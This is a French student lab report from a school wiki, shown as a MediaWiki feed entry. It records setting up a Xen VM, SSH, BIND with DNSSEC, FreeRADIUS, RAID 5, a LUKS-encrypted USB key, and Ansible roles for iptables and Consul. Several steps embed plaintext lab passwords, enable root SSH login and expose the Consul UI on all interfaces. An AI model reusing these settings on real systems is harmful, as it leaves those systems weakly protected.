&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
'''&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT tcp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_tcp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT udp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: udp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_udp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Set the policy for the INPUT chain to DROP&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     policy: DROP&lt;br /&gt;
&lt;br /&gt;
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la &amp;lt;code&amp;gt;POLICY&amp;lt;/code&amp;gt; à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)&lt;br /&gt;
&lt;br /&gt;
Nos ports sont variabilisés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/defaults/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_tcp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8500&lt;br /&gt;
   - 8501&lt;br /&gt;
   - 8502&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 8300 &lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_udp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
&lt;br /&gt;
voilà&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: config.json&lt;br /&gt;
     dest: /etc/consul/server.json&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57987</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57987"/>
				<updated>2022-01-12T12:08:48Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
